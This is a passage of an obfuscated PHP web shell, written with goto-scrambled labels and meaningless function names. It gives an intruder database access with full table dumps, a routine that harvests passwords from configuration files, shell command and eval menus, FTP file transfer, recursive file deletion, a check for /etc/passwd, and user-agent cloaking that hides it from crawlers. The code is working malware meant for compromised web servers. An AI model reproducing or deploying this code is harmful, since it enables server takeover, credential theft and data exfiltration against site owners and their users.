=== ($this->res = @ociparse($this->connection, $query))) { $this->error = "Query parse error"; } else { if (@ociexecute($this->res)) { if (@ocirowcount($this->res) != 0) { return 2; } return 1; } $error = @ocierror(); $this->error = $error["message"]; } break; } return 0; } function get_result() { $this->rows = array(); $this->columns = array(); $this->get_num_fields(); $this->get_num_rows(); switch ($this->db) { case "MySQL": while (false !== ($this->rows[] = @mysql_fetch_assoc($this->res))) { } if ($this->num_fields) { $this->columns = @array_keys($this->rows[0]); if (@count($this->columns) < 1) { $this->get_columns(); } @mysql_free_result($this->res); return 1; } @mysql_free_result($this->res); break; case "MSSQL": while (false !== ($this->rows[] = @mssql_fetch_assoc($this->res))) { } if ($this->num_fields) { $this->columns = @array_keys($this->rows[0]); if (@count($this->columns) < 1) { $this->get_columns(); } @mssql_free_result($this->res); return 1; } @mssql_free_result($this->res); break; case "PostgreSQL": while (false !== ($this->rows[] = @pg_fetch_assoc($this->res))) { } if ($this->num_fields) { $this->columns = @array_keys($this->rows[0]); if (@count($this->columns) < 1) { $this->get_columns(); } @pg_free_result($this->res); return 1; } @pg_free_result($this->res); break; case "Oracle": while (false !== ($this->rows[] = @oci_fetch_assoc($this->res))) { } if ($this->num_fields) { $this->columns = @array_keys($this->rows[0]); if (@count($this->columns) < 1) { $this->get_columns(); } @ocifreestatement($this->res); return 1; } @ocifreestatement($this->res); break; } return 0; } function get_num_rows() { $this->num_rows = 0; switch ($this->db) { case "MySQL": $this->num_rows = @mysql_num_rows($this->res); break; case "MSSQL": $this->num_rows = @mssql_num_rows($this->res); break; case "PostgreSQL": $this->num_rows = @pg_num_rows($this->res); break; case "Oracle": while (false !== @oci_fetch_assoc($this->res)) { $this->num_rows++; } break; } } function get_columns() { $this->columns = array(); $this->get_num_fields(); switch ($this->db) { case "MySQL": for ($i = 0; $i < $this->num_fields; $i++) { if (@mysql_field_name($this->res, $i) !== false) { $this->columns[] = @mysql_field_name($this->res, $i); } } break; case "MSSQL": for ($i = 0; $i < $this->num_fields; $i++) { if (@mssql_field_name($this->res, $i) !== false) { $this->columns[] = @mssql_field_name($this->res, $i); } } break; case "PostgreSQL": for ($i = 0; $i < $this->num_fields; $i++) { if (@pg_field_name($this->res, $i) !== false) { $this->columns[] = @pg_field_name($this->res, $i); } } break; case "Oracle": for ($i = 0; $i < $this->num_fields; $i++) { if (@ocicolumnname($this->res, $i) !== false) { $this->columns[] = @ocicolumnname($this->res, $i); } } break; } } function get_num_fields() { $this->num_fields = 0; switch ($this->db) { case "MySQL": $this->num_fields = @mysql_num_fields($this->res); break; case "MSSQL": $this->num_fields = @mssql_num_fields($this->res); break; case "PostgreSQL": $this->num_fields = @pg_num_fields($this->res); break; case "Oracle": $this->num_fields = @ocinumcols($this->res); break; } } function parse_fields($table) { if (!$this->query("SELECT * FROM `" . $table . "` LIMIT 0,1;")) { return 0; } return $this->get_result() ? $this->num_fields : 0; } function count_rows($table) { $tmpcount = 0; switch ($this->db) { case "MySQL": $this->query("SELECT COUNT(*) FROM `" . $table . "`;"); if (@is_resource($this->res)) { $tmp = @mysql_fetch_array($this->res); $tmpcount = $tmp[0]; } break; case "MSSQL": break; case "PostgreSQL": break; case "Oracle": break; } return @is_numeric($tmpcount) ? $tmpcount : 0; } function dump($table) { if (empty($table)) { return 0; } $this->dump = array(); $this->dump[0] = "--"; $this->dump[1] = "-- ----------------------------------------------- "; $this->dump[2] = "-- Dump date : " . @date("d/m/Y H:i:s"); $this->dump[3] = "-- PHP shell : " . z8o(); $this->dump[4] = "-- ----------------------------------------------- "; $this->dump[5] = "-- SQL host : " . $this->host . ":" . $this->port; $this->dump[6] = "-- SQL user : " . $this->user; $this->dump[7] = "-- SQL pass : " . $this->pass; $this->dump[8] = "-- SQL db : " . $this->base; $this->dump[9] = "-- SQL table : " . $table; $this->dump[10] = "-- ----------------------------------------------- "; switch ($this->db) { case "MySQL": $this->dump[0] = "-- MySQL dump"; if ($this->query("/*" . chr(0) . "*/ SHOW CREATE TABLE `" . $table . "`") != 1) { return 0; } if (!$this->get_result()) { return 0; } $this->dump[] = $this->rows[0]["Create Table"]; $this->dump[] = "-- ----------------------------------------------- "; if ($this->query("/*" . chr(0) . "*/ SELECT * FROM `" . $table . "`") != 1) { return 0; } if (!$this->get_result()) { return 0; } for ($i = 0; $i < $this->num_rows; $i++) { foreach ($this->rows[$i] as $k => $v) { $this->rows[$i][$k] = @mysql_real_escape_string($v); } $this->dump[] = "INSERT INTO `" . $table . "` (`" . @implode("`, `", $this->columns) . "`) VALUES ('" . @implode("', '", $this->rows[$i]) . "');"; } break; case "MSSQL": $this->dump[0] = "-- MSSQL dump"; if ($this->query("SELECT * FROM " . $table) != 1) { return 0; } if (!$this->get_result()) { return 0; } for ($i = 0; $i < $this->num_rows; $i++) { foreach ($this->rows[$i] as $k => $v) { $this->rows[$i][$k] = @addslashes($v); } $this->dump[] = "INSERT INTO " . $table . " (" . @implode(", ", $this->columns) . ") VALUES ('" . @implode("', '", $this->rows[$i]) . "');"; } break; case "PostgreSQL": $this->dump[0] = "-- PostgreSQL dump"; if ($this->query("SELECT * FROM " . $table) != 1) { return 0; } if (!$this->get_result()) { return 0; } for ($i = 0; $i < $this->num_rows; $i++) { foreach ($this->rows[$i] as $k => $v) { $this->rows[$i][$k] = @addslashes($v); } $this->dump[] = "INSERT INTO " . $table . " (" . @implode(", ", $this->columns) . ") VALUES ('" . @implode("', '", $this->rows[$i]) . "');"; } break; case "Oracle": $this->dump[0] = "-- ORACLE dump"; break; default: return 0; break; } return 1; } function close() { switch ($this->db) { case "MySQL": @mysql_close($this->connection); break; case "MSSQL": @mssql_close($this->connection); break; case "PostgreSQL": @pg_close($this->connection); break; case "Oracle": @oci_close($this->connection); break; } } function affected_rows() { switch ($this->db) { case "MySQL": return @mysql_affected_rows($this->res); break; case "MSSQL": return @mssql_affected_rows($this->res); break; case "PostgreSQL": return @pg_affected_rows($this->res); break; case "Oracle": return @ocirowcount($this->res); break; default: return 0; break; } } } goto eOmEi; hrwR0: function z1m($file, $user) { global $passarray; if (!@isset($passarray)) { $passarray = array(); } if (!@isset($passarray[$user])) { $passarray[$user] = array(); } $f = z9p($file); if (!empty($f)) { $regvar = "/\$([A-Za-z_][A-Za-z_0-9]*)\s*=\s*(['"]{1})([^\2\s\t\r\n]+)\2\s*;/"; $regvar1 = "/(['"]{1})([A-Za-z_][A-Za-z_0-9]*)\1[\s\t\r\n]*=>[\s\t\r\n]*(['"]{1})([^\3\s\t\r\n]+)\3/"; $regvar2 = "/\[(['"]{1})([A-Za-z_][A-Za-z_0-9]*)\1\][\s\t\r\n]*=[\s\t\r\n]*(['"]{1})([^\3\s\t\r\n]+)\3/"; $regconst = "/define\s*\((['"]{1})([A-Za-z_][A-Za-z_0-9]*)\1\s*,\s*(['"]{1})([^\3\s\t\r\n]+)\3\s*\)\s*;/"; if (@preg_match_all($regvar, $f, $m)) { $var = $m[1]; $val = $m[3]; for ($i = 0; $i < @count($var); $i++) { if (@preg_match("/pass/i", $var[$i])) { if (!@empty($val[$i]) && !@in_array($val[$i], $passarray[$user])) { $passarray[$user][] = $val[$i]; } } } unset($var); unset($val); unset($m); } if (@preg_match_all($regvar1, $f, $m)) { $var = $m[2]; $val = $m[4]; for ($i = 0; $i < @count($var); $i++) { if (@preg_match("/pass/i", $var[$i])) { if (!@empty($val[$i]) && !@in_array($val[$i], $passarray[$user])) { $passarray[$user][] = $val[$i]; } } } unset($var); unset($val); unset($m); } if (@preg_match_all($regvar2, $f, $m)) { $var = $m[2]; $val = $m[4]; for ($i = 0; $i < @count($var); $i++) { if (@preg_match("/pass/i", $var[$i])) { if (!@empty($val[$i]) && !@in_array($val[$i], $passarray[$user])) { $passarray[$user][] = $val[$i]; } } } unset($var); unset($val); unset($m); } if (@preg_match_all($regconst, $f, $m)) { $var = $m[2]; $val = $m[4]; for ($i = 0; $i < @count($var); $i++) { if (@preg_match("/pass/i", $var[$i])) { if (!@empty($val[$i]) && !@in_array($val[$i], $passarray[$user])) { $passarray[$user][] = $val[$i]; } } } unset($var); unset($val); unset($m); } } unset($f); } goto hD0OD; jyJ6v: function z9u() { if (@isset($_SERVER["HTTP_USER_AGENT"])) { if (@preg_match("/" . @implode("|", z7x(3, "agents")) . "/i", $_SERVER["HTTP_USER_AGENT"])) { @header(z7x(3, "send_header")); die(0); } } } goto tsXTw; tfoyi: z4g(); goto KId1L; f3HO3: function z8s($d) { $d = z1a($d); $h = @opendir($d); while (($o = @readdir($h)) !== false) { if ($o != "." && $o != ".." && !z3j($o)) { if (!z4j($d . $o)) { @unlink($d . $o); } else { z8s($d . $o); } } } @closedir($h); @rmdir($d); return !z4j($d); } goto SO6vO; RfUVP: if (!z7r("str_repeat")) { function str_repeat($i, $c) { $r = ''; for ($n = 0; $n < $c; $n++) { $r .= $i; } return $r; } } goto h9eR1; m3Iuh: function z4w($n, $v) { global ${$n}; return "<input type="radio" name="" . $n . "" value="" . $v . """ . (@isset(${$n}) && ${$n} == $v ? " checked" : '') . ">"; } goto mdHKd; s1vCu: function z0s() { global $act, $sh_exec, $safe_exec, $bftp, $bmail; echo z7s(z7i(z5d("hist") . z8r(z9s("24"), "ls", @in_array($act, array("ls", "d", "f", "dfunc"))) . z8r(z9s("25"), "search", $act == "search") . z8r(z9s("26"), "upload", $act == "upload") . ($sh_exec || $safe_exec ? z8r(z9s("27"), "cmd", $act == "cmd") : '') . z8r(z9s("28"), "eval", $act == "eval") . ($bftp ? z8r(z9s("193"), "ftp", $act == "ftp") : '') . z8r(z9s("29"), "sql", $act == "sql") . ($bmail ? z8r(z9s("30"), "mailer", $act == "mailer") : '') . z8r(z9s("31"), "encoders", $act == "encoders") . z8r(z9s("32"), "tools", $act == "tools") . ($sh_exec ? z8r(z9s("33"), "processes", $act == "processes") : '') . z8r(z9s("34"), "sysinfo", @in_array($act, array("sysinfo", "phpinfo"))) . z8r(" ", false, '')), "4"); } goto zKZd2; WLiqP: function z0h($f, $t = '', $d = 0) { global $use_buffer, $bcut, $bcopy, $with_ls, $external, $bziparchive, $reg_archives, $nix, $sh_exec; if ($d == 0) { $d = z3p($f); } else { global $d; } $f = z2h($f); $a = array(); $a["functions"] = z9s("74"); $a["edit"] = z9s("75"); if (@isset($reg_archives) && $reg_archives != '') { if (@preg_match("/\.(" . $reg_archives . ")$/", $f, $m)) { if (@isset($m[1])) { if ($m[1] != "zip" || $m[1] == "zip" && $nix && $sh_exec) { $a["extract"] = z9s("478", $m[1]); } if ($m[1] == "zip" && $bziparchive) { $a["extractzip"] = z9s("478", "zip (php)"); } } } } if ($use_buffer && (!@isset($with_ls) || !$with_ls) && (!@isset($external) || !$external)) { $a["bcopy"] = @in_array($f, $bcopy) ? z9s("69") : z9s("67"); $a["bcut"] = @in_array($f, $bcut) ? z9s("70") : z9s("68"); } $a["delete"] = z9s("72"); if (!@isset($external) || !$external) { $a["rename"] = z9s("73"); } $a["download"] = z9s("76"); return z5c(array("act" => "f", "f" => $f, "d" => $d, "showbuf"), z4a("ft", $a, "3") . z8v("»", "6"), $t); } goto tADMf; AFaDc: if ($act == "f" && @isset($ft)) { $ft = @trim($ft); if (@empty($ft)) { $act = "ls"; } } goto Zzxz4; icFMi: function z4e($f) { return z2r($f, "f"); } goto C3dIh; PWOBA: function z9p($f) { global $nix, $sh_exec; $r = ''; if (z7r("fopen") && z7r("feof") && z7r("fgets") && z7r("feof") && z7r("fclose") && ($fp = @fopen($f, "r")) !== false) { while (!@feof($fp)) { $r .= @fgets($fp); } @fclose($fp); } elseif (z7r("fopen") && z7r("fread") && z7r("fclose") && z7r("filesize") && ($fp = @fopen($f, "r")) !== false) { $r = @fread($fp, @filesize($f)); @fclose($fp); } elseif ($nix && $sh_exec) { $r = z9t("cat "" . $f . "" 2>/dev/null", 0); } elseif (z7r("file") && ($fl = @file($f))) { foreach ($fl as $l) { $r .= $l; } } elseif (z7r("file_get_contents")) { $r = @file_get_contents($f); } elseif (z7r("readfile")) { $r = @readfile($f); } elseif (z7r("highlight_file")) { $r = @highlight_file($f); } elseif (z7r("show_source")) { $r = @show_source($f); } return $r; } goto HuIOw; Q9cE6: function z3m($i) { return @substr(@preg_replace("/.{1,76}/", "'\0'.\xa", @base64_encode($i)), 0, -2); } goto bWlKk; vWBPR: if (@version_compare(@phpversion(), "4.1.0") == -1) { $_POST =& $HTTP_POST_VARS; $_GET =& $HTTP_GET_VARS; $_SERVER =& $HTTP_SERVER_VARS; $_COOKIE =& $HTTP_COOKIE_VARS; } goto rW1PB; Bxuwi: $execaliases = array("sh %f%" => array("sh"), "perl %f%" => array("pl", "cgi"), "python %f%" => array("py"), "php %f%" => array("php", "php3", "php4", "php5")); goto BEvCo; Qs5ko: function z8e($i) { return "<span style="font-size: 9px; color: #333333; font-weight: bold;">" . $i . " </span>"; } goto NFkxb; duiW_: function z9m($c = '', $s = '') { return z6z('', $c, $s); } goto pGBDb; LWA8d: if ($nix) { if (z0n("/etc/passwd")) { $bpasswd = 1; } } goto FebfF; kMxJ6: if ($act == "ftp") { $a_transfer = array("FTP_BINARY" => "FTP_BINARY", "FTP_ASCII" => "FTP_ASCII"); $hmsg = ''; $hideconnect = 0; $jsid = 0; if (@isset($ftp_server) && !@isset($ftp_passive)) { $ftp_passive = 0; } if (!@isset($ftp_server) && !@isset($ftp_passive)) { $ftp_passive = "1"; } if (@isset($ft) && $ft == "logoff") { if (@isset($_SESSION["ftp_server"])) { z0u("ftp_current_dir" . $_SESSION["ftp_server"]); } z0u("ftp_server"); z0u("ftp_username"); z0u("ftp_password"); z0u("ftp_port"); z0u("ftp_passive"); z0u("ftp_session"); } $ftp_session = 0; if (@isset($_SESSION["ftp_session"])) { $ftp_server = $_SESSION["ftp_server"]; $ftp_username = $_SESSION["ftp_username"]; $ftp_password = $_SESSION["ftp_password"]; $ftp_port = $_SESSION["ftp_port"]; $ftp_passive = $_SESSION["ftp_passive"]; $ftp_session = 1; } if (!@empty($ftp_server) && !@empty($ftp_port) && !@empty($ftp_username) && !@empty($ftp_password) && !@isset($ftp_quickaction)) { $ftp = new ftp($ftp_server, $ftp_port, $ftp_username, $ftp_password, $ftp_passive); if ($ftp->loggedOn) { if (!@isset($ftp_current_dir) || @empty($ftp_current_dir)) { $ftp_current_dir = z1a(@isset($_SESSION["ftp_current_dir" . $ftp_server]) ? $_SESSION["ftp_current_dir" . $ftp_server] : "/"); } if (@isset($rd)) { $ftp_current_dir = z1a($ftp_current_dir . $rd); } $ftp->setCurrentDir($ftp_current_dir); $ftp_current_dir = $ftp->currentDir; $_SESSION["ftp_current_dir" . $ftp_server] = $ftp_current_dir; $_SESSION["ftp_server"] = $ftp_server; $_SESSION["ftp_username"] = $ftp_username; $_SESSION["ftp_password"] = $ftp_password; $_SESSION["ftp_port"] = $ftp_port; $_SESSION["ftp_passive"] = $ftp_passive; $_SESSION["ftp_session"] = 1; $hideconnect = 1; $hmsg = z5c(array("act" => "ftp", "d", "ft" => "logoff"), z8v(z9s("196"), "1")); } else { $hmsg = z9s("191"); } } if (!@isset($ftp_server) || @empty($ftp_server)) { $ftp_server = "127.0.0.1"; } if (!@isset($ftp_port) || @empty($ftp_port)) { $ftp_port = "21"; } if (!@isset($ftp_username) || @empty($ftp_username)) { $ftp_username = "anonymous"; } if (!@isset($ftp_password) || @empty($ftp_password)) { $ftp_password = "[email protected]"; } if (!@isset($ftp_localfile) || @empty($ftp_localfile)) { $ftp_localfile = $d; } if (!@isset($ftp_remotefile) || @empty($ftp_remotefile)) { $ftp_remotefile = "/ftp-dir/somefile.txt"; } if ($hideconnect) { if (@isset($lmkdir) && $lmkdir && @isset($ldir) && !@empty($ldir)) { @mkdir($d . $ldir); } if (@isset($fmkdir) && $fmkdir && @isset($fdir) && !@empty($fdir)) { $ftp->makeDir(z1a($ftp_current_dir) . $fdir); } $ltarr = array(); $rtarr = array(); if (@isset($action) && !@empty($action) && (@isset($ltall) || @isset($rtall))) { $ft = $action; if (@isset($rtall) || @strstr($rtall, "\xa")) { $rtarr = @explode("
", $rtall); } elseif (@isset($ltall) || @strstr($ltall, "\xa")) { $ltarr = @explode("
", $ltall); } } if (@isset($ft)) { switch ($ft) { case "delete": if (@isset($lt) && !@empty($lt) && z4q($lt)) { z8d($lt); } elseif (@isset($rt) && !@empty($rt)) { $ftp->deleteObject(z1a($ftp_current_dir) . $rt); } elseif (@count($ltarr) > 0) { foreach ($ltarr as $lto) { $lto = @trim($lto); if (!@empty($lto) && z4q($lto)) { z8d($lto); } } } elseif (@count($rtarr) > 0) { foreach ($rtarr as $rto) { $rto = @trim($rto); if (!@empty($rto)) { $ftp->deleteObject(z1a($ftp_current_dir) . $rto); } } } break; case "upload": if (@isset($lt) && !@empty($lt) && z4q($lt)) { $ftp->putObject($lt, z1a($ftp_current_dir)); } elseif (@count($ltarr) > 0) { foreach ($ltarr as $lto) { $lto = @trim($lto); if (!@empty($lto) && z4q($lto)) { $ftp->putObject($lto, z1a($ftp_current_dir)); } } } break; case "download": if (@isset($rt) && !@empty($rt)) { $ftp->getObject(z1a($ftp_current_dir) . $rt, $d); } elseif (@count($rtarr) > 0) { foreach ($rtarr as $rto) { $rto = @trim($rto); if (!@empty($rto)) { $ftp->getObject(z1a($ftp_current_dir) . $rto, $d); } } } break; default: break; } } $frml = z9s("194") . z9c() . z5c(array("act" => "ftp", "d", "lmkdir" => "1"), z6i("ldir", '', "2") . z8v(z9s("195"), "7")); $frmf = z9s("194") . z9c() . z5c(array("act" => "ftp", "d", "fmkdir" => "1"), z6i("fdir", '', "2") . z8v(z9s("195"), "7")); echo z2b(array(z10e(z7i(z7l(z9s("192")) . z7e($frml)), "2"), z10e(z7i(z7l(z9s("193") . z9c() . $hmsg) . z7e($frmf)), "2")), "4"); $listf = $ftp->ftpRawList(); $listl = z8k($d); $lsl = array(); $lsl["d"] = array(); $lsl["l"] = array(); $lsl["f"] = array(); $lsf = array(); $lsf["d"] = array(); $lsf["l"] = array(); $lsf["f"] = array(); if (@is_array($listl) && @count($listl) > 0) { foreach ($listl as $lf) { $fn = z2h($lf); if ($fn != "." && $fn != "..") { if (z4j($lf)) { $lsl["d"][] = array($lf, "DIR"); } elseif (z3j($lf)) { $lsl["l"][] = array($lf, "LINK"); } else { $lsl["f"][] = array($lf, @filesize($lf) !== false ? @filesize($lf) : "FILE"); } } } } if (@is_array($listf) && @count($listf) > 0) { foreach ($listf as $rf) { if ($rf[1] != "." && $rf[1] != "..") { if ($rf[0] == "d") { $lsf["d"][] = array($rf[1], "DIR"); } elseif ($rf[0] == "l") { $rfd = @strstr($rf[1], " -> ") ? @substr($rf[1], 0, @strpos($rf[1], " -> ")) : $rf[1]; $lsf["l"][] = array($rfd, "LINK"); } else { $lsf["f"][] = array($rf[1], $rf[2]); } } } } if (!@isset($flsort)) { if (@isset($_SESSION["flsort"])) { $flsort = $_SESSION["flsort"]; } else { $flsort = "0a"; } } $_SESSION["flsort"] = $flsort; $pflsort = z5r($flsort); if ($pflsort[1] != "a") { $pflsort[1] = "d"; } $v = $pflsort[0]; @usort($lsl["d"], "z3i"); @usort($lsl["l"], "z3i"); @usort($lsl["f"], "z3i"); if ($pflsort[1] == "d") { $lsl["d"] = @array_reverse($lsl["d"]); $lsl["l"] = @array_reverse($lsl["l"]); $lsl["f"] = @array_reverse($lsl["f"]); } if (!@isset($ffsort)) { if (@isset($_SESSION["ffsort"])) { $ffsort = $_SESSION["ffsort"]; } else { $ffsort = "0a"; } } $_SESSION["ffsort"] = $ffsort; $pffsort = z5r($ffsort); $ffsort = $pffsort[0] . $pffsort[1]; if ($pffsort[1] != "a") { $pffsort[1] = "d"; } $v = $pffsort[0]; @usort($lsf["d"], "z3i"); @usort($lsf["l"], "z3i"); @usort($lsf["f"], "z3i"); if ($pffsort[1] == "d") { $lsf["d"] = @array_reverse($lsf["d"]); $lsf["l"] = @array_reverse($lsf["l"]); $lsf["f"] = @array_reverse($lsf["f"]); } $list_l = array(); $list_f = array(); $list_l[] = array($d . "..", "LINK"); $list_f[] = array("..", "LINK"); foreach ($lsl["d"] as $lf) { $list_l[] = $lf; } foreach ($lsl["l"] as $lf) { $list_l[] = $lf; } foreach ($lsl["f"] as $lf) { $list_l[] = $lf; } foreach ($lsf["d"] as $rf) { $list_f[] = $rf; } foreach ($lsf["l"] as $rf) { $list_f[] = $rf; } foreach ($lsf["f"] as $rf) { $list_f[] = $rf; } $cl = @count($list_l); $cf = @count($list_f); echo z9m("2") . z6g() . z7k('', "4"); z8j("l"); echo z7g() . z7k('', "46"); z8j("f"); echo z7g() . z7u() . z10w(); echo z9m("2") . z7p() . z7k('', "4") . z5x('', "1") . z9m("2"); echo z7i(z7l(z5c(array("act", "d", "ffsort", "flsort" => $pflsort[0] == "0" ? "0" . ($pflsort[1] == "a" ? "d" : "a") : "0" . $pflsort[1]), z8v(z9s("57") . ($pflsort[0] == "0" ? " " . ($pflsort[1] == "a" ? "↑" : "↓") : ''), "3")), "8", "2") . z7e(z5c(array("act", "d", "ffsort", "flsort" => $pflsort[0] == "1" ? "1" . ($pflsort[1] == "a" ? "d" : "a") : "1" . $pflsort[1]), z8v(z9s("58") . ($pflsort[0] == "1" ? " " . ($pflsort[1] == "a" ? "↑" : "↓") : ''), "3")), "8", '') . z7l(z9s("62"), "8", "3")); for ($i = 0; $i < $cl; $i++) { $disp = z2h($list_l[$i][0]); if (!@is_numeric($list_l[$i][1]) && $list_l[$i][1] == "DIR" || $disp == "..") { $o = z5c(array("act" => "ftp", "flsort", "ffsort", "d" => $list_l[$i][0]), z8n("small_dir", '', "9") . z8v(z8f($disp, 40), "10", z3c($disp, "d"))); } else { $ext = z2h($list_l[$i][0], "."); $o = z5c(array("act" => "ftp", "flsort", "ffsort", "d", "ft" => "upload", "lt" => $list_l[$i][0]), z8n($ext, '', "9") . z8v(z8f($disp, 40), "11", z3c($disp, "f"))); } echo z7i(z7l($o, "19", "2") . z7e(@is_numeric($list_l[$i][1]) ? z7c($list_l[$i][1]) : $list_l[$i][1], "10") . z7l($disp == ".." ? z0w($list_l[$i][0]) : z0t($list_l[$i][0]) . z4n($list_l[$i][0], "idloc", ($i % 2 ? "tra" : "trb") . $jsid), "10"), $i % 2 ? "0" : "1", ($i % 2 ? "tra" : "trb") . $jsid); $jsid++; } echo z10w() . z5j() . z7g() . z7k('', "46") . z5x('', "1") . z9m("2"); echo z7i(z7l(z5c(array("act", "d", "flsort", "ffsort" => $pffsort[0] == "0" ? "0" . ($pffsort[1] == "a" ? "d" : "a") : "0" . $pffsort[1]), z8v(z9s("57") . ($pffsort[0] == "0" ? " " . ($pffsort[1] == "a" ? "↑" : "↓") : ''), "3")), "8", "2") . z7e(z5c(array("act", "d", "flsort", "ffsort" => $pffsort[0] == "1" ? "1" . ($pffsort[1] == "a" ? "d" : "a") : "1" . $pffsort[1]), z8v(z9s("58") . ($pffsort[0] == "1" ? " " . ($pffsort[1] == "a" ? "↑" : "↓") : ''), "3")), "8", '') . z7l(z9s("62"), "8", "3")); for ($i = 0; $i < $cf; $i++) { $disp = z2h($list_f[$i][0]); if (!@is_numeric($list_f[$i][1]) && $list_f[$i][1] == "DIR" || $disp == "..") { $o = z5c(array("act" => "ftp", "flsort", "ffsort", "d", "rd" => $list_f[$i][0]), z8n("small_dir", '', "9") . z8v(z8f($disp, 40), "10", z3c($disp, "d"))); } else { $ext = z2h($list_f[$i][0], "."); $o = z5c(array("act" => "ftp", "flsort", "ffsort", "d", "ft" => "download", "rt" => $list_f[$i][0]), z8n($ext, '', "9") . z8v(z8f($disp, 40), "11", z3c($disp, "f"))); } echo z7i(z7l($o, "19", "2") . z7e(@is_numeric($list_f[$i][1]) ? z7c($list_f[$i][1]) : $list_f[$i][1], "10") . z7l($disp == ".." ? z0q($list_f[$i][0]) : z0r($list_f[$i][0]) . z4n($list_f[$i][0], "idftp", ($i % 2 ? "tra" : "trb") . $jsid), "10"), $i % 2 ? "0" : "1", ($i % 2 ? "tra" : "trb") . $jsid); $jsid++; } echo z10w() . z5j() . z7g() . z7u() . z10w(); echo z9m("2") . z7p() . z7k('', "4") . z0p("idloc", "ltall", z9b("act") . z9b("flsort") . z9b("ffsort") . z9b("d") . z9b("ftpmloc", "1"), array('' => z9s("66"), "upload" => z9s("197"), "delete" => z9s("199"))) . z7g() . z7k('', "4") . z0p("idftp", "rtall", z9b("act") . z9b("flsort") . z9b("ffsort") . z9b("d") . z9b("ftpmrem", "1"), array('' => z9s("66"), "download" => z9s("198"), "delete" => z9s("199"))) . z7g() . z7u() . z10w(); } else { echo z2b(z9s("185") . z9c() . ($hmsg != '' ? " : " . $hmsg : '')); echo z6d() . z10e(z7i(z5c(array("act" => "ftp", "d"), z6x(z8e(z9s("186")) . z6i("ftp_server", $ftp_server, "5") . z6i("ftp_port", $ftp_port, "6")) . z6x(z8e(z9s("187")) . z6i("ftp_username", $ftp_username, "5")) . z6x(z8e(z9s("188")) . z6i("ftp_password", $ftp_password, "5") . z8v(z9s("189"), "7") . " " . z5y("ftp_passive1", z9s("190"), "ftp_passive")))), "2") . z6d(); $dmsg = $umsg = ''; if (!@empty($ftp_server) && !@empty($ftp_port) && !@empty($ftp_username) && !@empty($ftp_password) && @isset($ftp_quickaction)) { $ftp = new ftp($ftp_server, $ftp_port, $ftp_username, $ftp_password, $ftp_passive); if ($ftp->loggedOn) { if ($ftp_quickaction == "upload") { $umsg = $ftp->put($ftp_remotefile, $ftp_localfile) ? z9s("208") : z9s("209"); } elseif ($ftp_quickaction == "download") { $dmsg = $ftp->get($ftp_remotefile, $ftp_localfile, 1) ? z9s("210") : z9s("211"); } } else { if ($ftp_quickaction == "upload") { $umsg = z9s("191"); } else { $dmsg = z9s("191"); } } } echo z2b(array(z9s("200") . z9c() . ($dmsg != '' ? " : " . $dmsg : ''), z9s("201") . z9c() . ($umsg != '' ? " : " . $umsg : '')), "46"); echo z10e(z9f(z9j(z5c(array("act" => "ftp", "ftp_quickaction" => "download", "d"), z10e(z5n() . z7i(z5t(z9s("202")) . z9j(z6i("ftp_server", $ftp_server, "2") . z6i("ftp_port", $ftp_port, "6"))) . z7i(z5t(z9s("203")) . z9j(z6i("ftp_username", $ftp_username, "4") . z6i("ftp_password", $ftp_password, "5"))) . z7i(z5t(z9s("204")) . z9j(z6i("ftp_remotefile", $ftp_remotefile, "0"))) . z7i(z5t(z9s("205")) . z9j(z6i("ftp_localfile", $ftp_localfile, "0"))) . z7i(z5t('') . z9j(z8v(z9s("207"), "7") . z5y("ftp_passive2", z9s("190"), "ftp_passive"))) . z5n())), '', "4") . z9j(z5c(array("act" => "ftp", "ftp_quickaction" => "upload", "d"), z10e(z5n() . z7i(z5t(z9s("202")) . z9j(z6i("ftp_server", $ftp_server, "2") . z6i("ftp_port", $ftp_port, "6"))) . z7i(z5t(z9s("203")) . z9j(z6i("ftp_username", $ftp_username, "4") . z6i("ftp_password", $ftp_password, "5"))) . z7i(z5t(z9s("205")) . z9j(z6i("ftp_localfile", $ftp_localfile, "0"))) . z7i(z5t(z9s("204")) . z9j(z6i("ftp_remotefile", $ftp_remotefile, "0"))) . z7i(z5t('') . z9j(z8v(z9s("206"), "7") . z5y("ftp_passive3", z9s("190"), "ftp_passive"))) . z5n())), '', "46")), "2"); } } goto Z8MkV; RWVXE: function z4d($pn, $t = "f") { if ($t == "d") { $ls = @str_replace("\", '', z9t("ls -dla "" . $pn . "" 2>/dev/null", 0)); } else { $ls = @str_replace("\", '', z9t("ls -la "" . $pn . "" 2>/dev/null", 0)); } $el = @explode("\xa", $ls); if (@count($el) > 0) { $l = $el[0]; } else { $l = $ls; } if (@strstr($l, "->")) { $ll = @explode("->", $l); if (@count($ll) > 2) { @array_pop($ll); $l = @implode("->", $ll); } else { $l = @trim($ll[0]); } } $len = @strlen($l); $pnl = @strlen($pn) + 1; if (@substr($l, -$pnl) == " " . $pn) { $pi = @substr($l, 0, $len - $pnl); $pi = z3q(" ", " ", $pi); $p2 = @explode(" ", $pi); if (@count($p2) > 5) { $pp = $p2[0]; $pu = $p2[2]; $pg = $p2[3]; $ps = $p2[4]; if (!@is_numeric($ps) && @substr($ps, -1) == "," && @is_numeric($p2[5])) { $ps .= $p2[5]; $st = 6; } else { $st = 5; } if (@is_numeric($ps)) { $ps = z7c($ps); } $pd = ''; for ($i = $st; $i < @count($p2); $i++) { $pd .= $p2[$i] . " "; } $pd = @trim($pd); if (z7r("strtotime") && ($s2t = @strtotime($pd)) !== false) { $pd = @date("Y-m-d H:i", $s2t); } if ($pp[0] == "l") { return array($pn, "LINK", $pd, array($pu, $pg), $pp); } elseif ($pp[0] == "d") { return array($pn, "DIR", $pd, array($pu, $pg), $pp); } else { return array($pn, $ps, $pd, array($pu, $pg), $pp); } } } return array('', '', '', array('', ''), ''); } goto E_3q7; d9LCS: function z0b($return = false) { @ob_start(); @phpinfo(-1); $pi = @preg_replace(array("#^.*<body>(.*)</body>.*$#ms", "#<h2>PHP License</h2>.*$#ms", "#<h1>Configuration</h1>#", "#\xd?\xa#", "#</(h1|h2|h3|tr)>#", "# +<#", "#[ \x9]+#", "# #", "# +#", "# class=".*?"#", "%'%", "#<tr>(?:.*?)" src="(?:.*?)=(.*?)" alt="PHP Logo" /></a>" . "<h1>PHP Version (.*?)</h1>(?:\n+?)</td></tr>#", "#<h1><a href="(?:.*?)\?=(.*?)">PHP Credits</a></h1>#", "#<tr>(?:.*?)" src="(?:.*?)=(.*?)"(?:.*?)Zend Engine (.*?),(?:.*?)</tr>#", "# +#", "#<tr>#", "#</tr>#"), array("$1", '', '', '', "</$1>" . "
